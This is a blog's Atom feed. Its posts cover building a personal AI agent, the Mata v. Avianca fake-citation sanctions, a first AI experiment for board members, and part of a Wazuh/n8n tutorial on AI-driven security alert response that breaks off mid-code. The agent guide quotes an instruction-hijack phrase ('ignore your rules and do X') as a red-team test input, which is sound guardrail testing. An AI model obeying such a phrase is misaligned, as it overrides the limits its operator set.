<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://goldmanmalka.com/https://goldmanmalka.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://goldmanmalka.com/https://goldmanmalka.com/" rel="alternate" type="text/html" /><updated>2026-07-15T11:52:23+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/feed.xml</id><title type="html">Goldmanmalka.com</title><subtitle>An online notepad</subtitle><author><name>Eran Goldman-Malka</name></author><entry><title type="html">How to Build Your Own Personal AI Agent: A Step-by-Step Guide for Non-Technical Leaders</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/build-a-personal-ai-agent-non-technical/" rel="alternate" type="text/html" title="How to Build Your Own Personal AI Agent: A Step-by-Step Guide for Non-Technical Leaders" /><published>2026-07-15T06:00:00+00:00</published><updated>2026-07-15T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/build-a-personal-ai-agent-non-technical</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/build-a-personal-ai-agent-non-technical/"><![CDATA[<p>A personal AI agent is not “a chatbot with a nicer UI.” It’s an assistant that can <strong>do multi-step work</strong> for you—collect information, draft outputs, and sometimes take actions across tools. Done well, it saves time and raises your AI literacy. Done carelessly, it becomes a privacy and security liability.</p>

<!--more-->

<h2 id="what-a-personal-agent-can-do-realistic-examples">What a Personal Agent Can Do (Realistic Examples)</h2>

<p>Good “leader-grade” uses:</p>

<ul>
  <li>prepare meeting briefs from <em>public</em> sources</li>
  <li>maintain a personal reading list and draft summaries</li>
  <li>draft emails and memos (you review before sending)</li>
  <li>turn your notes into structured action lists</li>
  <li>track follow-ups and reminders (with minimal data)</li>
</ul>

<p>Avoid using an agent for:</p>

<ul>
  <li>handling secrets (credentials, M&amp;A, legal privilege, HR cases)</li>
  <li>sending messages to customers or staff without review</li>
  <li>making commitments (pricing, legal terms, approvals)</li>
</ul>

<h2 id="the-simplest-stack-conceptually">The Simplest Stack (Conceptually)</h2>

<p>You don’t need to code to understand the components:</p>

<ul>
  <li><strong>LLM</strong>: generates text and plans steps</li>
  <li><strong>Tools</strong>: calendar, email, docs, web, tasks (optional)</li>
  <li><strong>Constraints</strong>: rules about what it may access and do</li>
  <li><strong>Evaluation</strong>: a way to check output quality and failure modes</li>
</ul>

<p>The governance insight: <strong>tools + permissions are the real risk surface</strong>, not the text generation.</p>

<h2 id="step-by-step-build-it-safely">Step-by-Step: Build It Safely</h2>

<h3 id="step-1-define-one-purpose-and-one-boundary">Step 1: Define one purpose and one boundary</h3>
<p>Write a one-sentence mission and one hard constraint.</p>

<p>Example:</p>
<ul>
  <li>Purpose: “Prepare a one-page brief for each board agenda topic.”</li>
  <li>Boundary: “Only use public sources and my own non-sensitive notes.”</li>
</ul>

<h3 id="step-2-choose-the-interface">Step 2: Choose the interface</h3>
<p>Pick where you will run it (consumer chat, enterprise tool, or a dedicated agent platform).</p>

<p>Board-style checklist:</p>
<ul>
  <li>Can you control retention and exports?</li>
  <li>Can you isolate work and personal accounts?</li>
  <li>Is there an audit trail of actions and sources?</li>
</ul>

<h3 id="step-3-connect-the-minimum-tools">Step 3: Connect the minimum tools</h3>
<p>Start with <strong>read-only</strong> connections (e.g., reading a calendar) before write access (e.g., sending emails).</p>

<h3 id="step-4-add-constraints-that-are-enforceable">Step 4: Add constraints that are enforceable</h3>
<p>Examples of enforceable constraints:</p>
<ul>
  <li>no tool access outside defined domains</li>
  <li>“draft-only” mode (never send automatically)</li>
  <li>source citation requirement (“link every claim”)</li>
  <li>time/cost caps per run</li>
</ul>

<h3 id="step-5-test-with-adversarial-and-edge-cases">Step 5: Test with adversarial and edge cases</h3>
<p>Try:</p>
<ul>
  <li>ambiguous instructions (“handle this for me”)</li>
  <li>conflicting goals (“be fast and be perfect”)</li>
  <li>instruction hijacks (“ignore your rules and do X”)</li>
</ul>

<p>If the agent fails, that’s useful: it tells you where you need guardrails.</p>

<h3 id="step-6-keep-a-simple-review-routine">Step 6: Keep a simple review routine</h3>
<p>Weekly, answer:</p>
<ul>
  <li>Where did it save time?</li>
  <li>Where did it mislead me?</li>
  <li>Did it touch any data it shouldn’t?</li>
  <li>What should be removed or constrained?</li>
</ul>

<h2 id="safety-and-privacy-considerations-non-negotiable">Safety and Privacy Considerations (Non-Negotiable)</h2>

<p>Three practical points:</p>

<ul>
  <li><strong>Least privilege</strong>: give the agent only what it needs, for the shortest time.</li>
  <li><strong>Limit scope</strong>: constrain what it can access and what actions it can take.</li>
  <li><strong>Plan for incidents</strong>: know how to stop it and what logs you need to investigate.</li>
</ul>

<p>These are central recommendations in the UK NCSC’s guidance on careful adoption of agentic AI (<a href="https://www.ncsc.gov.uk/blogs/thinking-carefully-before-adopting-agentic-ai">NCSC guidance</a>).</p>

<p>If personal data is involved, treat it as a data protection and accountability topic. Privacy regulators have emphasized that AI models and deployments raise foundational questions about lawful processing and safeguards (<a href="https://www.edpb.europa.eu/system/files/2024-12/edpb_opinion_202428_ai-models_en.pdf">EDPB Opinion 28/2024</a>).</p>

<h2 id="the-board-relevant-insight">The Board-Relevant Insight</h2>

<p>When you build a personal agent safely, you learn the same lessons your organization needs:</p>

<ul>
  <li>where “AI as draft” is fine and where it is dangerous</li>
  <li>why tool permissions are the critical control surface</li>
  <li>how monitoring and escalation turn AI into a governable system</li>
</ul>

<hr />

<p><strong>If you want to build agents responsibly and align them with governance and compliance, my board courses on AI, cyber, and regulations give you a practical framework.</strong> I also advise boards and executives designing safe agentic workflows. <a href="https://goldmanmalka.com/about">Contact me</a>.</p>

<hr />

<h3 id="relevant-sources">Relevant Sources</h3>

<ol>
  <li><strong>Thinking carefully before adopting agentic AI</strong> — UK NCSC — <a href="https://www.ncsc.gov.uk/blogs/thinking-carefully-before-adopting-agentic-ai">https://www.ncsc.gov.uk/blogs/thinking-carefully-before-adopting-agentic-ai</a></li>
  <li><strong>OWASP Top 10 for LLM Applications 2025</strong> — OWASP — <a href="https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/">https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/</a></li>
  <li><strong>AI Risk Management Framework (overview)</strong> — NIST — <a href="https://www.nist.gov/itl/ai-risk-management-framework">https://www.nist.gov/itl/ai-risk-management-framework</a></li>
  <li><strong>Generative AI Profile (NIST AI 600-1)</strong> — NIST — <a href="https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-generative-artificial-intelligence">https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-generative-artificial-intelligence</a></li>
  <li><strong>ISO/IEC 42001 explained (AI management systems)</strong> — ISO — <a href="https://www.iso.org/cms/%20render/live/en/sites/isoorg/home/insights-news/resources/iso-42001-explained-what-it-is.html">https://www.iso.org/cms/%20render/live/en/sites/isoorg/home/insights-news/resources/iso-42001-explained-what-it-is.html</a></li>
  <li><strong>EDPB Opinion 28/2024 on AI models and personal data (PDF)</strong> — European Data Protection Board — <a href="https://www.edpb.europa.eu/system/files/2024-12/edpb_opinion_202428_ai-models_en.pdf">https://www.edpb.europa.eu/system/files/2024-12/edpb_opinion_202428_ai-models_en.pdf</a></li>
  <li><strong>Guidance on AI and data protection</strong> — UK ICO — <a href="https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/artificial-intelligence/guidance-on-ai-and-data-protection/">https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/artificial-intelligence/guidance-on-ai-and-data-protection/</a></li>
</ol>]]></content><author><name>Eran Goldman-Malka</name></author><category term="AI" /><category term="Boards" /><category term="personal agent" /><category term="agentic AI" /><category term="productivity" /><category term="governance" /><category term="privacy" /><category term="cybersecurity" /><category term="AI literacy" /><summary type="html"><![CDATA[A personal AI agent is not “a chatbot with a nicer UI.” It’s an assistant that can do multi-step work for you—collect information, draft outputs, and sometimes take actions across tools. Done well, it saves time and raises your AI literacy. Done carelessly, it becomes a privacy and security liability.]]></summary></entry><entry><title type="html">Hallucinated Legal Citations: One Fake Citation Can Turn Into a Real Disciplinary Problem</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/hallucinated-legal-citations/" rel="alternate" type="text/html" title="Hallucinated Legal Citations: One Fake Citation Can Turn Into a Real Disciplinary Problem" /><published>2026-07-14T06:00:00+00:00</published><updated>2026-07-14T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/hallucinated-legal-citations</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/hallucinated-legal-citations/"><![CDATA[<p>One fake citation can turn into a real disciplinary problem.</p>

<!--more-->

<h2 id="the-case-that-put-ai-hallucinations-on-the-map-mata-v-avianca">The Case That Put AI Hallucinations on the Map: <em>Mata v. Avianca</em></h2>

<p>In June 2023, Judge P. Kevin Castel of the U.S. District Court for the Southern District of New York sanctioned two attorneys and their law firm for submitting a court filing that contained <strong>fabricated judicial opinions and citations generated by ChatGPT</strong>.</p>

<p><strong>What happened:</strong> Attorney Steven A. Schwartz used ChatGPT to research legal precedents for a motion opposing Avianca’s request to dismiss a personal injury case. ChatGPT generated a list of cases that looked real—complete with case names, citations, quotes, and internal citations. Schwartz did not verify them. He even asked ChatGPT if the cases were real, and the chatbot reassured him they were.</p>

<p>They were not. The cases did not exist. The quotes were fabricated. The internal citations were fake.</p>

<p>When opposing counsel and the court questioned the cases, Schwartz and co-counsel Peter LoDuca continued to stand by them, submitting additional affidavits that included copies of the “decisions”—which ChatGPT had also fabricated. Only after repeated court orders did they admit the truth.</p>

<p><strong>The sanctions:</strong></p>

<ul>
  <li>A $5,000 fine, imposed jointly and severally on the two attorneys and their law firm.</li>
  <li>A requirement to notify the judges who were falsely identified as authors of the fake opinions.</li>
  <li>A requirement to notify the client of the misconduct.</li>
  <li>Public reprimand and reputational damage.</li>
</ul>

<h2 id="why-this-matters-the-harm-is-not-just-embarrassment">Why This Matters: The Harm Is Not Just Embarrassment</h2>

<p>The court was clear: <strong>the harm from fake citations is not just wasted time or embarrassment. It undermines the integrity of judicial proceedings.</strong></p>

<p>Judge Castel wrote:</p>

<blockquote>
  <p>“Many harms flow from the submission of fake opinions. The opposing party wastes time and money in exposing the deception. The Court’s time is taken from other matters. The client is not well served. And the use of nonexistent judicial opinions may constitute forgery, and presents a fraud upon the court.”</p>
</blockquote>

<p>The sanctions included bad-faith findings. The court held that the attorneys had <strong>consciously avoided</strong> obvious red flags, and that their false statements to the court compounded the misconduct.</p>

<h2 id="the-lesson-ai-hallucinations-are-not-hypothetical">The Lesson: AI Hallucinations Are Not Hypothetical</h2>

<p>AI systems—including ChatGPT, Claude, and other large language models—can “hallucinate”: they generate content that looks plausible but is factually incorrect. This includes:</p>

<ul>
  <li>Fake case citations</li>
  <li>Fabricated quotes from real cases</li>
  <li>Invented statutes or regulations</li>
  <li>Plausible-sounding but incorrect legal rules</li>
</ul>

<p><strong>The problem:</strong> These hallucinations can be confident and detailed. They can include case numbers, court names, dates, and internal citations. They can look <em>real</em>.</p>

<p><strong>The rule:</strong> Using AI for legal research is not inherently improper. But <strong>attorneys have an affirmative, non-delegable duty to verify the accuracy of all filings</strong>, regardless of the tool used. Rule 11 of the Federal Rules of Civil Procedure requires that every filing be supported by a reasonable inquiry into the facts and law. Delegating that inquiry to an AI—without verification—is not reasonable.</p>

<h2 id="what-this-means-for-boards-and-executives">What This Means for Boards and Executives</h2>

<p>If your organization uses AI for legal research, contract drafting, compliance work, or policy analysis, you need verification controls.</p>

<p><strong>Three questions for oversight:</strong></p>

<ol>
  <li><strong>Who is using AI for legal or compliance work?</strong> Do they understand that AI can hallucinate?</li>
  <li><strong>What is our verification workflow?</strong> Before any AI-assisted filing, brief, contract, or policy is finalized, who checks it? How?</li>
  <li><strong>What happens if we get it wrong?</strong> Have we thought through the consequences—sanctions, reputational damage, client notification, regulatory scrutiny?</li>
</ol>

<hr />

<p><strong>What verification workflow do you use before filing anything AI-assisted?</strong> I deliver board-level courses and consult on AI governance, legal risk, and verification controls. <a href="https://goldmanmalka.com/about">Contact me</a>.</p>

<hr />

<h3 id="relevant-sources">Relevant Sources</h3>

<ol>
  <li><strong>Mata v. Avianca, Inc., No. 1:2022cv01461, Opinion and Order on Sanctions (S.D.N.Y. June 22, 2023)</strong> — U.S. District Court, Southern District of New York — <a href="https://www.nhd.uscourts.gov/sites/default/files/pdf/Mata-v-Avianca-sanctions-order.PDF">https://www.nhd.uscourts.gov/sites/default/files/pdf/Mata-v-Avianca-sanctions-order.PDF</a></li>
  <li><strong>Mata v. Avianca, Inc.</strong> — Wikipedia — <a href="https://en.wikipedia.org/wiki/Mata_v._Avianca,_Inc.">https://en.wikipedia.org/wiki/Mata_v._Avianca,_Inc.</a></li>
  <li><strong>Practical Lessons from the Attorney AI Missteps in Mata v. Avianca</strong> — Association of Corporate Counsel — <a href="https://www.acc.com/resource-library/practical-lessons-attorney-ai-missteps-mata-v-avianca">https://www.acc.com/resource-library/practical-lessons-attorney-ai-missteps-mata-v-avianca</a></li>
  <li><strong>Mata v. Avianca, Inc., 678 F. Supp. 3d 443</strong> — Justia — <a href="https://law.justia.com/cases/federal/district-courts/new-york/nysdce/1:2022cv01461/575368/54/">https://law.justia.com/cases/federal/district-courts/new-york/nysdce/1:2022cv01461/575368/54/</a></li>
  <li><strong>Use of Generative AI in the Law: Lessons from Two Federal Cases</strong> — American Bar Association — <a href="https://www.americanbar.org/groups/litigation/resources/newsletters/privacy-data-security/generative-ai-in-the-law/">https://www.americanbar.org/groups/litigation/resources/newsletters/privacy-data-security/generative-ai-in-the-law/</a></li>
</ol>]]></content><author><name>Eran Goldman-Malka</name></author><category term="AI" /><category term="Boards" /><category term="AI" /><category term="hallucinations" /><category term="legal sanctions" /><category term="Mata v. Avianca" /><category term="legal ethics" /><category term="professional responsibility" /><category term="ChatGPT" /><category term="verification" /><summary type="html"><![CDATA[One fake citation can turn into a real disciplinary problem.]]></summary></entry><entry><title type="html">Your First AI Experiment as a Board Member: Low-Risk, High-Learning</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/your-first-ai-experiment-as-a-board-member/" rel="alternate" type="text/html" title="Your First AI Experiment as a Board Member: Low-Risk, High-Learning" /><published>2026-07-13T06:00:00+00:00</published><updated>2026-07-13T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/your-first-ai-experiment-as-a-board-member</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/your-first-ai-experiment-as-a-board-member/"><![CDATA[<p>The fastest way to build AI literacy is to use AI yourself—but do it in a way that is safe, low-stakes, and educational. The goal is not “to become a power user.” The goal is to understand where AI helps, where it misleads, and what controls matter in real life.</p>

<!--more-->

<h2 id="the-two-rules-that-keep-you-safe">The Two Rules That Keep You Safe</h2>

<ol>
  <li><strong>Don’t paste anything you wouldn’t put on a projector in a public meeting.</strong>
(Assume the text could end up in logs, screenshots, or a vendor system you don’t control.)</li>
  <li><strong>Treat outputs as drafts, not facts.</strong>
Always verify claims that matter.</li>
</ol>

<h2 id="a-30-minute-board-relevant-experiment-no-sensitive-data">A 30-Minute, Board-Relevant Experiment (No Sensitive Data)</h2>

<p>Pick a public document and ask the AI to:</p>

<ul>
  <li>summarize the key arguments in 10 bullets</li>
  <li>extract decision points and open questions</li>
  <li>write 5 board-level oversight questions</li>
  <li>identify assumptions and missing data</li>
</ul>

<p>Then do the “verification step”:</p>

<ul>
  <li>ask it to <strong>cite where each claim comes from</strong> (or quote exact passages)</li>
  <li>check 3–5 claims yourself against the source</li>
</ul>

<p>This gives you direct experience with both the upside (speed) and the core weakness (plausible errors).</p>

<h2 id="safe-use-cases-for-personal-learning">Safe Use Cases for Personal Learning</h2>

<p>These are high-learning and usually low-risk:</p>

<ul>
  <li>rewriting your notes into clearer language (using non-sensitive content)</li>
  <li>preparing for a meeting: “what questions should I ask about X?”</li>
  <li>comparing two public policy documents or news articles</li>
  <li>drafting agendas, talking points, and action lists</li>
</ul>

<h2 id="common-mistakes-and-what-they-teach-you">Common Mistakes (and What They Teach You)</h2>

<ul>
  <li><strong>Over-trusting fluency</strong>: the model sounds confident; you stop verifying.
Lesson: governance needs verification design.</li>
  <li><strong>Sharing sensitive information</strong>: you treat a chat like a private notebook.
Lesson: data handling and training/retention terms matter.</li>
  <li><strong>Using AI for consequential decisions</strong> (hiring, performance, coverage, pricing) without safeguards.
Lesson: high-impact domains require stronger controls and human oversight.</li>
</ul>

<h2 id="privacy-and-data-protection-what-to-keep-in-mind">Privacy and Data Protection: What to Keep in Mind</h2>

<p>If AI use involves personal data, organizations need to think about lawful basis, purpose limitation, transparency, and safeguards—especially when AI models might “absorb” personal data into parameters or reproduce it in outputs.</p>

<p>Two useful regulator resources:</p>

<ul>
  <li>The EDPB’s Opinion 28/2024 on AI models and personal data (EU perspective) (<a href="https://www.edpb.europa.eu/system/files/2024-12/edpb_opinion_202428_ai-models_en.pdf">EDPB PDF</a>)</li>
  <li>The UK ICO’s guidance on AI and data protection (practical controls, fairness, lifecycle thinking) (<a href="https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/artificial-intelligence/guidance-on-ai-and-data-protection/">ICO guidance</a>)</li>
</ul>

<h2 id="turn-your-personal-learning-into-board-oversight">Turn Your Personal Learning Into Board Oversight</h2>

<p>After your first experiment, you’ll be able to ask management better questions:</p>

<ul>
  <li>Where do we verify outputs, and where do we “trust” them?</li>
  <li>What data can staff put into tools, and how is that enforced?</li>
  <li>What is our policy for shadow AI usage?</li>
  <li>What is our incident plan when AI produces harmful outputs?</li>
</ul>

<hr />

<p><strong>Before experimenting at scale, learn the safe patterns.</strong> My board courses cover practical AI usage, cyber hygiene for AI, and governance basics. I also consult with boards on responsible AI adoption. <a href="https://goldmanmalka.com/about">Contact me</a>.</p>

<hr />

<h3 id="relevant-sources">Relevant Sources</h3>

<ol>
  <li><strong>EDPB Opinion 28/2024 on AI models and personal data (PDF)</strong> — European Data Protection Board — <a href="https://www.edpb.europa.eu/system/files/2024-12/edpb_opinion_202428_ai-models_en.pdf">https://www.edpb.europa.eu/system/files/2024-12/edpb_opinion_202428_ai-models_en.pdf</a></li>
  <li><strong>Guidance on AI and data protection</strong> — UK ICO — <a href="https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/artificial-intelligence/guidance-on-ai-and-data-protection/">https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/artificial-intelligence/guidance-on-ai-and-data-protection/</a></li>
  <li><strong>AI Risk Management Framework (overview)</strong> — NIST — <a href="https://www.nist.gov/itl/ai-risk-management-framework">https://www.nist.gov/itl/ai-risk-management-framework</a></li>
  <li><strong>Generative AI Profile (NIST AI 600-1)</strong> — NIST — <a href="https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-generative-artificial-intelligence">https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-generative-artificial-intelligence</a></li>
  <li><strong>Article 4: AI literacy</strong> — EU AI Act Service Desk — <a href="https://ai-act-service-desk.ec.europa.eu/en/ai-act/article-4">https://ai-act-service-desk.ec.europa.eu/en/ai-act/article-4</a></li>
</ol>]]></content><author><name>Eran Goldman-Malka</name></author><category term="AI" /><category term="Boards" /><category term="AI literacy" /><category term="safe usage" /><category term="privacy" /><category term="governance" /><category term="experimentation" /><category term="executives" /><summary type="html"><![CDATA[The fastest way to build AI literacy is to use AI yourself—but do it in a way that is safe, low-stakes, and educational. The goal is not “to become a power user.” The goal is to understand where AI helps, where it misleads, and what controls matter in real life.]]></summary></entry><entry><title type="html">Building an Autonomous AI SOC: Automation &amp;amp; The Confidence Threshold (Closing the Loop)</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/autonomous-ai-soc-automation-confidence/" rel="alternate" type="text/html" title="Building an Autonomous AI SOC: Automation &amp;amp; The Confidence Threshold (Closing the Loop)" /><published>2026-07-10T06:00:00+00:00</published><updated>2026-07-10T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/autonomous-ai-soc-automation-confidence</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/autonomous-ai-soc-automation-confidence/"><![CDATA[<p>We’ve got an AI that analyzes security alerts and outputs confidence scores. Now comes the dangerous part: letting it take action. Here’s how to automate response without turning your homelab into a self-DoS machine.</p>

<!--more-->

<h2 id="the-confidence-threshold-why-80-isnt-good-enough">The Confidence Threshold: Why 80% Isn’t Good Enough</h2>

<p>Let’s talk about false positives.</p>

<p>A 95% confidence score means the model is 95% certain—but that’s still a 1-in-20 chance it’s wrong. If your homelab processes 100 alerts per day and you auto-block everything above 90% confidence, you’ll false-positive 5 times per day.</p>

<p><strong>In a corporate SOC, this is a resume-generating event.</strong> You just blocked the CEO’s laptop because the AI thought her Excel macro was ransomware.</p>

<p>In a homelab, it’s less catastrophic (you can fix it at 3 AM in your pajamas), but the principle stands: <strong>confidence scores must map to response tiers.</strong></p>

<h3 id="the-response-tiers">The Response Tiers</h3>

<p>Here’s the framework we’ll implement:</p>

<table>
  <thead>
    <tr>
      <th>Confidence</th>
      <th>Verdict</th>
      <th>Action</th>
      <th>Human Review</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>95-100%</strong></td>
      <td>Malicious</td>
      <td>Auto-block (isolate host, kill process)</td>
      <td>Post-action notification</td>
    </tr>
    <tr>
      <td><strong>85-94%</strong></td>
      <td>Malicious</td>
      <td>Alert human with “approve block” button</td>
      <td>Required before action</td>
    </tr>
    <tr>
      <td><strong>70-84%</strong></td>
      <td>Suspicious</td>
      <td>Log + alert, no blocking</td>
      <td>Optional</td>
    </tr>
    <tr>
      <td><strong>50-69%</strong></td>
      <td>Suspicious</td>
      <td>Log only, flag for review</td>
      <td>Optional</td>
    </tr>
    <tr>
      <td><strong>&lt; 50%</strong></td>
      <td>Any</td>
      <td>Ignore or log (too uncertain)</td>
      <td>Optional</td>
    </tr>
  </tbody>
</table>

<p><strong>Key principle:</strong> The higher the impact of the response, the higher the confidence threshold.</p>

<h2 id="the-wazuh-api-remote-response-actions">The Wazuh API: Remote Response Actions</h2>

<p>Wazuh has an API for remote command execution on agents. We can use this to:</p>
<ul>
  <li>Isolate a host (block all network traffic except to the manager)</li>
  <li>Kill a process by PID</li>
  <li>Quarantine a file</li>
  <li>Collect forensic artifacts (memory dump, process list)</li>
</ul>

<h3 id="enable-the-wazuh-api">Enable the Wazuh API</h3>

<p>SSH into the Wazuh manager:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># The API is enabled by default in Wazuh 4.8+</span>
<span class="c"># Verify it's running</span>
curl <span class="nt">-k</span> <span class="nt">-u</span> admin:admin https://localhost:55000/

<span class="c"># Expected output: {"data": {...}, "error": 0}</span>
</code></pre></div></div>

<h3 id="create-an-api-user-for-n8n">Create an API User for n8n</h3>

<p>Don’t use the admin account for automation. Create a limited-privilege user:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># SSH into Wazuh manager</span>
<span class="nb">cd</span> /var/ossec/api/configuration/security

<span class="c"># Create a new user</span>
curl <span class="nt">-k</span> <span class="nt">-u</span> admin:admin <span class="nt">-X</span> POST <span class="s2">"https://localhost:55000/security/users"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{
    "username": "n8n_automation",
    "password": "CHANGE_THIS_PASSWORD"
  }'</span>

<span class="c"># Assign the "active-response" role (allows remote command execution)</span>
curl <span class="nt">-k</span> <span class="nt">-u</span> admin:admin <span class="nt">-X</span> POST <span class="s2">"https://localhost:55000/security/users/n8n_automation/roles?role_ids=4"</span>
</code></pre></div></div>

<p>Save the username and password—we’ll use these in n8n.</p>

<h3 id="test-remote-command-execution">Test Remote Command Execution</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Get the agent ID of a monitored host</span>
curl <span class="nt">-k</span> <span class="nt">-u</span> n8n_automation:PASSWORD <span class="s2">"https://192.168.1.11:55000/agents?name=web-server-01"</span>

<span class="c"># Response includes: "id": "001"</span>

<span class="c"># Send a remote command to agent 001 (list processes)</span>
curl <span class="nt">-k</span> <span class="nt">-u</span> n8n_automation:PASSWORD <span class="nt">-X</span> POST <span class="se">\</span>
  <span class="s2">"https://192.168.1.11:55000/active-response/001"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{
    "command": "!netstat",
    "arguments": ["-an"]
  }'</span>
</code></pre></div></div>

<p>If this returns a command ID, the API is working.</p>

<h2 id="building-the-auto-response-playbook-in-n8n">Building the Auto-Response Playbook in n8n</h2>

<p>Back in n8n, we’ll extend the workflow to call the Wazuh API based on the LLM’s confidence score.</p>

<h3 id="the-full-workflow-structure">The Full Workflow Structure</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Webhook (Wazuh Alert)
  → Parse Alert
  → Route by Severity
    → Call Ollama (AI Analysis)
      → Parse AI Response
        → Switch by Confidence + Verdict
          ├─ [confidence &gt;= 95 AND verdict = malicious] → Auto-Block
          ├─ [confidence 85-94 AND verdict = malicious] → Human Approval
          ├─ [confidence 70-84] → Alert Only
          └─ [confidence &lt; 70] → Log Only
</code></pre></div></div>

<h3 id="node-1-auto-block-confidence--95">Node 1: Auto-Block (Confidence ≥ 95%)</h3>

<p>Add an <strong>HTTP Request node</strong> after the Switch:</p>

<p><strong>Configuration:</strong></p>
<ul>
  <li>Method: POST</li>
  <li>URL: <code class="language-plaintext highlighter-rouge">https://192.168.1.11:55000/active-response/</code></li>
  <li>Authentication: Basic Auth
    <ul>
      <li>Username: <code class="language-plaintext highlighter-rouge">n8n_automation</code></li>
      <li>Password: <code class="language-plaintext highlighter-rouge">YOUR_PASSWORD</code></li>
    </ul>
  </li>
  <li>Headers:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">Content-Type</code>: <code class="language-plaintext highlighter-rouge">application/json</code></li>
    </ul>
  </li>
  <li>Body:</li>
</ul>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"firewall-drop"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"arguments"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"add"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This tells Wazuh to execute the <code class="language-plaintext highlighter-rouge">firewall-drop</code> active response on the agent, blocking the source IP.</p>

<h3 id="node-2-send-telegram-notification">Node 2: Send Telegram Notification</h3>

<p>Add a <strong>Telegram node</strong> (requires a bot token—create one via @BotFather):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🚨 *AUTO-BLOCKED*

*Alert:* 
*Agent:* 
*Verdict:* 
*Confidence:* %

*Reasoning:*


*Action Taken:*
Blocked IP  on agent 

*MITRE Tactics:* 
</code></pre></div></div>

<h3 id="node-3-human-approval-workflow-confidence-85-94">Node 3: Human Approval Workflow (Confidence 85-94%)</h3>

<p>For this tier, we send a Telegram message with inline buttons.</p>

<p><strong>Telegram node configuration:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>⚠️ *REQUIRES APPROVAL*

*Alert:* 
*Agent:* 
*Verdict:* 
*Confidence:* %

*Reasoning:*


*Uncertainty:*


*Suggested Action:*
Block IP 

*Reply to approve or dismiss:*
/block_
/dismiss_
</code></pre></div></div>

<p>This requires setting up a second n8n workflow that listens for Telegram commands and executes the block action when <code class="language-plaintext highlighter-rouge">/block_&lt;id&gt;</code> is received. (Building a full chatbot is beyond scope here, but the pattern is: Telegram Webhook → Parse Command → Lookup Alert ID → Execute Wazuh API Call.)</p>

<h3 id="node-4-alert-only-path-confidence-70-84">Node 4: Alert-Only Path (Confidence 70-84%)</h3>

<p>Send a Telegram notification without any action buttons:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ℹ️ *SUSPICIOUS ACTIVITY*

*Alert:* 
*Agent:* 
*Confidence:* %

*Reasoning:*


*Uncertainty:*


*No automatic action taken.* Review logs in Wazuh dashboard.
</code></pre></div></div>

<h3 id="node-5-log-only-path-confidence--70">Node 5: Log-Only Path (Confidence &lt; 70%)</h3>

<p>Write to a log file or send to a low-priority channel:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Function node: Log to file</span>
<span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">logEntry</span> <span class="o">=</span> <span class="p">{</span>
  <span class="na">timestamp</span><span class="p">:</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">().</span><span class="nx">toISOString</span><span class="p">(),</span>
  <span class="na">alert_id</span><span class="p">:</span> <span class="nx">$json</span><span class="p">.</span><span class="nx">original_alert</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span>
  <span class="na">confidence</span><span class="p">:</span> <span class="nx">$json</span><span class="p">.</span><span class="nx">confidence_score</span><span class="p">,</span>
  <span class="na">verdict</span><span class="p">:</span> <span class="nx">$json</span><span class="p">.</span><span class="nx">verdict</span><span class="p">,</span>
  <span class="na">reasoning</span><span class="p">:</span> <span class="nx">$json</span><span class="p">.</span><span class="nx">reasoning</span>
<span class="p">};</span>

